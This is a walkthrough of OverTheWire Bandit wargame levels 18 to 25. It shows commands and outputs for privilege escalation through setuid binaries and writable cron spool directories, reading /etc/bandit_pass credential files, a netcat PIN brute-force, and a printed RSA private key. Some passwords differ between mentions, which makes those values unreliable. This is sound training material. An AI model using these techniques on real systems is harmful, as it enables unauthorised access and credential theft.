||D|C|I|I|I|C|I|I|L
|_|_|/|_|_|_|_|_|_|_|_|_|_|

This is an OverTheWire game server.

More information on <http://www.overthewire.org/wargames>

bandit18@bandit.labs.overthewire.org's password:

```

,---.      ,---,      ,---.
/ / \      / / :|      / ./|
/ . :      `.' :|      :--.' ;
. / : \ ;   ;   / /_./\ :|
. ; / ` ;'__./ `.' :--.' ' \ .
; | \ ; ||   :   |/_./\|   ''
| : | ; |' ;   | ; ; \ \ ;   :
. | '':`---' | | \ ; `   |
' ; \ / |   ' : ; . \ \ A ;
\ \ , /   | | ' \ \ ' \ |
; : /   ' : |   : ' |--"
\ \.'   ; |'   \ \ ;
www.`---` ver  '---' he  '---" ire.org
```

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on discord or IRC.

--[Playing the games]--

This machine might hold several wargames.

If you are playing "somegame", then:

- * USERNAMES are somegame0, somegame1, ...
- * Most LEVELS are stored in /somegame/.
- * PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a working directory with a hard-to-guess name in /tmp/. You can use the

command "mktemp -d" in order to generate a random and hard to guess directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc restricted so that users cannot snoop on eachother. Files and directories with easily guessable or short names will be periodically deleted! The /tmp directory is regularly wiped.

Please play nice:

- * don't leave orphan processes running
- * don't leave exploit-files laying around
- * don't annoy other players
- * don't post passwords or spoilers
- * again, DONT POST SPOILERS!

This includes writeups of your solution on your blog or website!

--[Tips]--

This machine has a 64bit processor and many security-features enabled by default, although ASLR has been switched off. The following compiler flags might be interesting:

-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro

In addition, the execstack tool can be used to flag the stack as executable on ELF binaries.

Finally, network-access is limited for most levels by a local firewall.

--[Tools]--

For your convenience we have installed a few useful tools which you can find in the following locations:

- * gef (<https://github.com/hugsy/gef>) in /opt/gef/
- * pwndbg (<https://github.com/pwndbg/pwndbg>) in /opt/pwndbg/
- * gdbinit (<https://github.com/gdbinit/Gdbinit>) in /opt/gdbinit/
- * pwntools (<https://github.com/Gallopsled/pwntools>)
- * radare2 (<http://www.radare.org/>)

--[More information]--

For more information regarding individual wargames, visit
<http://www.overthewire.org/wargames/>

For support, questions or comments, contact us on discord or IRC.

Enjoy your stay!

Byebye !

Connection to bandit.labs.overthewire.org closed.

In the above connection it connected but it logs out after logging in due to a line in .bashrc. To get the file readme execute the command using the ssh.

```
$ ssh -p2220 bandit18@bandit.labs.overthewire.org "cat readme"
```

```
  _ _ _ _ _  
 | | _ _ _ _ _ | |  
 | | _ _ _ _ _ | |  
 | | _ _ _ _ _ | |  
 | | _ _ _ _ _ | |  
 | | _ _ _ _ _ | |
```

This is an OverTheWire game server.

More information on <http://www.overthewire.org/wargames>

bandit18@bandit.labs.overthewire.org's password:

cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

password of bandit19 - cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

Bandit Level 19 - Level 20


```
$ ssh -p2220 bandit19@bandit.labs.overthewire.org
```

```
bandit19@bandit:~$ pwd
/home/bandit19
bandit19@bandit:~$ ls -la
total 36
drwxr-xr-x  2 root   root   4096 Sep 19  2024 .
drwxr-xr-x 70 root   root   4096 Sep 19  2024 ..
-rwsr-x---  1 bandit20 bandit19 14880 Sep 19  2024 bandit20-do
-rw-r--r--  1 root    root    220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root   3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root    root    807 Mar 31  2024 .profile
```

```
bandit19@bandit:~$ ./bandit20-do
```

```
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
```

```
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
```

```
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
```

password of bandit20 - 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO

Bandit Level 20 - Level 21

```
$ ssh -p2220 bandit20@bandit.labs.overthewire.org
```

Note: it makes a connection to localhost on the port you specify as a commandline argument

```
bandit20@bandit:~$ pwd
/home/bandit20
bandit20@bandit:~$ ls -la
total 36
drwxr-xr-x  2 root  root   4096 Sep 19  2024 .
drwxr-xr-x 70 root  root   4096 Sep 19  2024 ..
-rw-r--r--  1 root  root    220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root  root   3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root  root    807 Mar 31  2024 .profile
-rwsr-x---  1 bandit21 bandit20 15604 Sep 19  2024 suconnect
```

A command suconnect will be used in this exercise. Before running the command, open another ssh connection to the bandit server with the same user bandit20.

In console 1, run the following command and do not close or break it because the password will be sent to the console 1.

bandit20@bandit:~\$ nc -vv -lv -p 12345

```
bandit20@bandit:~$ nc -vv -lv -p 12345
Listening on 0.0.0.0 12345
```

In console 2, run the following command

bandit20@bandit:~\$./suconnect 12345

```
bandit20@bandit:~$ ./suconnect 12345

Read: 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO

Password matches, sending next password
```

After running the suconnect in console 2, you should see in console 1 the following.

```
bandit20@bandit:~$ nc -vv -lv -p 12345
```

```
Listening on 0.0.0.0 12345
```

```
Connection received on localhost 36210
```

```
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
```

```
EeoULMCra2q0dSkYj561DX7s1CpBuOBt
```

password of bandit21 - EeoULMCra2q0dSkYj561DX7s1CpBuOBt

Bandit Level 21 - Level 22

\$ ssh -p2220 bandit21@bandit.labs.overthewire.org

Search for the cron job for bandit22 in the /etc/cron.d

bandit21@bandit:~\$ cat /etc/cron.d/cronjob_bandit22

```
bandit21@bandit:~$ cat /etc/cron.d
```

```
cron.d/    cron.daily/
```

```
bandit21@bandit:~$ cat /etc/cron.d/
```

```
cronjob_bandit22 cronjob_bandit24 otw-tmp-dir    sysstat
```

```
cronjob_bandit23 e2scrub_all    .placeholder
```

```
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
```

```
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
```

```
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
```

```
bandit21@bandit:~$ ls -l /usr/bin/cronjob_bandit22.sh
-rwxr-x--- 1 bandit22 bandit21 130 Sep 19 2024 /usr/bin/cronjob_bandit22.sh
```

The cron job for bandit22 is cronjob_bandit22 and the file can be executed by the group bandit21.

Get the content of the script in the cron job.

bandit21@bandit:~\$ cat /usr/bin/cronjob_bandit22.sh

```
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh

#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

The file /etc/bandit_pass/bandit22 cannot be read by bandit21 but the file created in the /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv is the same content which is the password of bandit22.

bandit21@bandit:~\$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

```
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q
```

password of bandit22 - tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q

Bandit Level 22 - Level 23

```
$ ssh -p2220 bandit22@bandit.labs.overthewire.org
```

Get the cronjob from /etc/cron.d for bandit23

```
bandit22@bandit: $ cat /etc/cron.d/cronjob_bandit23
```

```
bandit22@bandit:~$ pwd
```

```
/home/bandit22
```

```
bandit22@bandit:~$ cd /etc/cron.d
```

```
bandit22@bandit:/etc/cron.d$ ls -la
```

```
total 44
```

```
drwxr-xr-x  2 root root 4096 Sep 19 2024 .
```

```
drwxr-xr-x 121 root root 12288 Sep 20 2024 ..
```

```
-rw-r--r--  1 root root  120 Sep 19 2024 cronjob_bandit22
```

```
-rw-r--r--  1 root root  122 Sep 19 2024 cronjob_bandit23
```

```
-rw-r--r--  1 root root  120 Sep 19 2024 cronjob_bandit24
```

```
-rw-r--r--  1 root root  201 Apr  8 2024 e2scrub_all
```

```
-rwx-----  1 root root   52 Sep 19 2024 otw-tmp-dir
```

```
-rw-r--r--  1 root root  102 Mar 31 2024 .placeholder
```

```
-rw-r--r--  1 root root  396 Jan  9 2024 sysstat
```

```
bandit22@bandit:/etc/cron.d$ ls -l /etc/cron.d/cronjob_bandit23
```

```
-rw-r--r-- 1 root root 122 Sep 19 2024 /etc/cron.d/cronjob_bandit23
```

```
bandit22@bandit:/etc/cron.d$ cat /etc/cron.d/cronjob_bandit23
```

```
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
```

```
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
```

```
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
```

```
#!/bin/bash
```

```
myname=$(whoami)
```

```
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
```

```
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
```

```
cat /etc/bandit_pass/$myname > /tmp/$mytarget
```

The script that is being executed inside the cron job is /usr/bin/cronjob_bandit23.sh.

bandit22@bandit:/etc/cron.d\$ cat /usr/bin/cronjob_bandit23.sh

```
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
```

Since the script is run in a cronjob, this means it is executed and have the following information:

myname=\$(whoami) which is myname=bandit23

mytarget=\$(echo I am user \$myname | md5sum | cut -d ' ' -f 1) will be the following command

mytarget=\$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)

```
bandit22@bandit:/etc/cron.d$ mytarget=$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)
bandit22@bandit:/etc/cron.d$ echo $mytarget
8ca319486bfbbc3663ea0fbe81326349
```

The file therefor is /tmp/\$mytarget which is /tmp/8ca319486bfbbc3663ea0fbe81326349

bandit22@bandit:/etc/cron.d\$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349

```
bandit22@bandit:/etc/cron.d$ mytarget=$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)
```

```
bandit22@bandit:/etc/cron.d$ echo $mytarget
```

```
8ca319486bfbbc3663ea0fbe81326349
```

```
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
```

```
0Zf11ioljMVN551jX3CmStKLYqjk54Ga
```

password of bandit23 - 0Zf11ioljMVN551jX3CmStKLYqjk54Ga

Bandit Level 23 - Level 24

\$ ssh -p2220 bandit23@bandit.labs.overthewire.org

Search for the cronjob for bandit24 and the script.

```
bandit23@bandit:~$ pwd
```

```
/home/bandit23
```

```
bandit23@bandit:~$ cd /etc/cron.d
```

```
bandit23@bandit:/etc/cron.d$ ls -la
```

```
total 44
```

```
drwxr-xr-x  2 root root 4096 Sep 19 2024 .
```

```
drwxr-xr-x 121 root root 12288 Sep 20 2024 ..
```

```
-rw-r--r--  1 root root  120 Sep 19 2024 cronjob_bandit22
```

```
-rw-r--r--  1 root root  122 Sep 19 2024 cronjob_bandit23
```

```
-rw-r--r--  1 root root  120 Sep 19 2024 cronjob_bandit24
```

```
-rw-r--r--  1 root root  201 Apr  8 2024 e2scrub_all
```

```
-rwx-----  1 root root   52 Sep 19 2024 otw-tmp-dir
```

```
-rw-r--r--  1 root root  102 Mar 31 2024 .placeholder
```

```
-rw-r--r--  1 root root  396 Jan  9 2024 sysstat
```

```
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
```

```
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
```

```
***** bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
```

```
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
```

```
#!/bin/bash
```

```
myname=$(whoami)
```

```
cd /var/spool/$myname/foo
```

```
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
```

```
for i in *.*;
```

```
do
```

```
if [ "$i" != "." -a "$i" != ".." ];
```

```
then
```

```
    echo "Handling $i"
```

```
    owner="$(stat --format "%U" ./$i)"
```

```
    if [ "${owner}" = "bandit23" ]; then
```

```
        timeout -s 9 60 ./$i
```

```
    fi
```

```
    rm -f ./$i
```

```
fi
```

```
done
```

Analyzing the script `/usr/bin/cronjob_bandit24.sh`, it is executing all scripts in the directory `/var/spool/$myname/foo`.

We know that `$myname` is `myname=$(whoami)` which should be the user `bandit24`.

So we have to prepare a script to be run by `bandit24` and place it in the directory `/var/spool/bandit24/foo/`.

Create a script in `/tmp`


```
bandit23@bandit:/home/bandit24$ nano /tmp/scriptbandit24.sh
```

Put the following inside the file /tmp/scriptbandit.sh

```
#!/bin/bash
```

```
cat /etc/bandit_pass/bandit24 > /tmp/password_bandit24
```

Then make the file executable.

```
bandit23@bandit:/home/bandit24$ chmod a+x /tmp/scriptbandit24.sh
```

Then copy the script created from /tmp/scriptbandit24.sh to the folder /var/spool/bandit24/foo/.

```
bandit23@bandit:/home/bandit24$ cp /tmp/scriptbandit24.sh  
/var/spool/bandit24/foo/
```

After copying, wait until a file is created in the /tmp directory which is the /tmp/password_bandit24

```
bandit23@bandit:/home/bandit24$ cat /tmp/password_bandit24
```

```
bandit23@bandit:/home/bandit24$ cat /tmp/password_bandit24  
gb8KRRcsshZXI0tUuR6ypOFjiZbf3G8
```

password of bandit24 - gb8KRRcsshZXI0tUuR6ypOFjiZbf3G8

Bandit Level 24 - Level 25

First create a file with the 10,000 combination of the 4-DIGIT pincode.

In the KALI LINUX let us use the software crunch to create the file.

```
kali@kali:/$ crunch 4 4 1234567890 -o pincodes
```

Upload the file pincodes to the bandit server using the following commands.

```
scp -P2220 pincodes bandit24@bandit.labs.overthewire.org:/tmp
```

```
$ scp -P2220 pincodes bandit24@bandit.labs.overthewire.org:/tmp
```

```
  _ _ _ _ _  
  | | _ _ _ _ | |  
  | | _ _ _ _ | |  
  | | _ _ _ _ | |  
  | | _ _ _ _ | |  
  | | _ _ _ _ | |
```

This is an OverTheWire game server.

More information on <http://www.overthewire.org/wargames>

bandit24@bandit.labs.overthewire.org's password:

pincodes

100% 49KB 314.3KB/s 00:00

Now, login to the bandit and go to the /tmp directory

```
$ ssh -p2220 bandit24@bandit.labs.overthewire.org
```

```
bandit24@bandit:~$ cd /tmp/
```

In the instructions: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

A new file should be created with a "PASSWORD PIN", the password gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 and then the pincode

```
bandit24@bandit:/tmp$ echo "" passpin; while read ln; do echo  
"gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 $ln" >> passpin; done < pincodes
```

A new file is created, passpin which is the combination of the password and the 4-digit code. Check if the file is ok.

```
bandit24@bandit:/tmp$ cat passpin
```

```
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0080  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0091  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0092  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0093  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0094  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0095  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0096  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0097  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0098  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0099  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0090  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0001  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0002  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0003  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0004  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0005  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0006  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0007  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0008  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0009  
gb8KRRcsshUZXI0tUuR6ypOFjiZbf3G8 0000
```

There should be 10,000 lines.

Now the file should be feed to port 30002 to the localhost.

```
bandit24@bandit:/tmp$ nc localhost 30002 < passpin
```

```
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Wrong! Please enter the correct current password and pincode. Try again.  
Correct!  
  
The password of user bandit25 is iCi86ttT4KSNe1armKiwQNmB3YJP3q4
```

password of bandit25 - iCi86ttT4KSNe1armKiwBQNmB3YJP3q4

Bandit Level 25 - Level 26

```
$ ssh -p2220 bandit25@bandit.labs.overthewire.org
```

```
bandit25@bandit:~$ ls -ltr
```

In the home directory of bandit25 there is a bandit26.sshkey file which is the key for bandit26. Using this key to connect to the bandit.

```
bandit25@bandit:~$ ls
```

```
bandit26.sshkey
```

```
bandit25@bandit:~$ pwd
```

```
/home/bandit25
```

```
bandit25@bandit:~$ ls -l
```

```
total 4
```

```
-r----- 1 bandit25 bandit25 1679 Sep 19 2024 bandit26.sshkey
```

```
bandit25@bandit:~$ cat bandit26.sshkey
```

```
-----BEGIN RSA PRIVATE KEY-----
```

```
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrlwdW
pTfaeRHXzr0Y0a5Oe3GB/+W2+PREif+bPZlZTY1XFwpk+DiHk1kmL0moEW8HJuT9
/5XbnpjSzn0eEAFax2OcopjrZVqdBJQerkj0puv3UXY07AskgyD5XepwGAlJOG
xZsMq1oZqQ0W29aBtfykuGie2bxroRjuAPrYM4o3MMmtlNE5fC4G9lhq0eq73MDi
1ze6d2jIGce873qxn308BA2qhRPJNEbnPev5gl+5tU+UxebW8KLbk0EhoXB953lx
3lgOlrt9Y6skRjsMSFmC6WN/O7ovu8QzGqxdywlDAQABAolBAAaXoETtVT9GtpHW
qLaKHgYtLEO1tOFOhInWyolyZgL4inuRRva3ClvVEWK6TcnDyIINL4MfcerehwGi
il4fQFvLR7E6UFcopvhJiSJHlcvPQ9FfNFR3dYcNOQ/IFvE73bEqMwSISpwiel6w
e1DjF3C7jHaS1s9PjfWfN982aubll/yLbJP+ou3ifdljS7QzjWZA8NRiMwmBGPlh
Yq8weR3jIVQl3ndEYxO7Cr/wXXebZWlP6CPZb67rBy0jg+366mxQbDZlwZYEaUME
zY5izFclr/kKj4s7NTRkC76Yx+rTNP5+BX+JT+rgz5aoQq8ghMw43NYwxjXym/MX
c8X8g0ECgYEA1crBUAR1gSkM+5mGjjoFLJKrFP+IhUHFh25qGI4Dcxh1f3M53le
wF1rpk5SJnHRFm9IW3gM1JoF0PQxI5aXHRGHphwPeKnsQ/xQBRWCeYppqTme9amJV
tD3aDHkplhYxkNxqol5gDCA6tdtFSxqPaNfdfsfaAOXiKGrQESUjIBcCgYEAxvml
2ROjsBXaiM4lyg9hUpjZIn8TW2UIH76pojFG6/KBd1NcnW3fu0ZUU790wAu7QbbU
i7pieeqCqSYcZsmkhNOvbdx54A6NNCR2btc+si6pDOe1jdsGdXISDRHFb9QxjZCj
6xzWMNvb5n1yUb9w9nfN1PZzATfUsOV+Fy8CbG0CgYEAifkTLwfhqZyLk2huTSWm
pzB0ltWfDpj22MNqVzR3h3d+sHLeJvJPzle9396rF8KGdNsWsGIWpnJMZKDjgZsz
JQBmMc6UMYRARVP1dIKANN4eY0FSHFebHcqXLho0mXOUTXe37DWfZza5V9Oify3
JquBd8uUptW1Ue41H4t/ErsCgYEArc5FYtF1QXIlfcDz3oUGz16itUZpgzlb71nd
1cbTm8EupCwWR5l1j+IEQU+JTUQyl1nwWcnKwZI+5kBbKNJUu/mLsRyY/UXYxEZh
ibrNklm94373kv1US/ODIZUDcQba7jz9Yp/C3dT/RlwoIw5mP3UxQCizFspNKOSe
euPeaxUCgYEAntklXwBbokgdDup/u/3ms5Lb/bm22zDOCg2HrIWQCqKEkWkAO6R5
/Wwyqhp/wTI8VXjxWo+W+DmewGdPHGQq5fFdqgguQpGUq24YZS8m66v5ANBwd76t
IZdtF5HXs2S5CADTwniUS5mX1HO9I5gUkk+h0cH5JnPtsMCnAUM+BRY=
```

-----END RSA PRIVATE KEY-----

As user bandit25 gather information of the server and the login.

```
bandit25@bandit:~$ dpkg --get-selections | grep openssh
```

| | | | | |
|----|---------------------|---------------------|-------|-----------------------------------------------------------------------------|
| ii | openssh-client | 1:9.6p1-3ubuntu13.5 | amd64 | secure shell (SSH) client, for secure access to remote machines |
| ii | openssh-server | 1:9.6p1-3ubuntu13.5 | amd64 | secure shell (SSH) server, for secure access from remote machines |
| ii | openssh-sftp-server | 1:9.6p1-3ubuntu13.5 | amd64 | secure shell (SSH) sftp server module, for SFTP access from remote machines |

The shell of the user bandit26 which makes it non-interactive.

bandit25@bandit:~\$ cat /etc/passwd | grep bandit26

```
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
```

```
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
```

The shell login is /usr/bin/showtext, and getting this file is a custom script which execute an "exit 0".

bandit25@bandit:~\$ cat /usr/bin/showtext

```
bandit25@bandit:~$ cat /usr/bin/showtext
```

```
#!/bin/sh
```

```
export TERM=linux
```

```
exec more ~/text.txt
```

```
exit 0
```

Bandit Level 26 - Level 27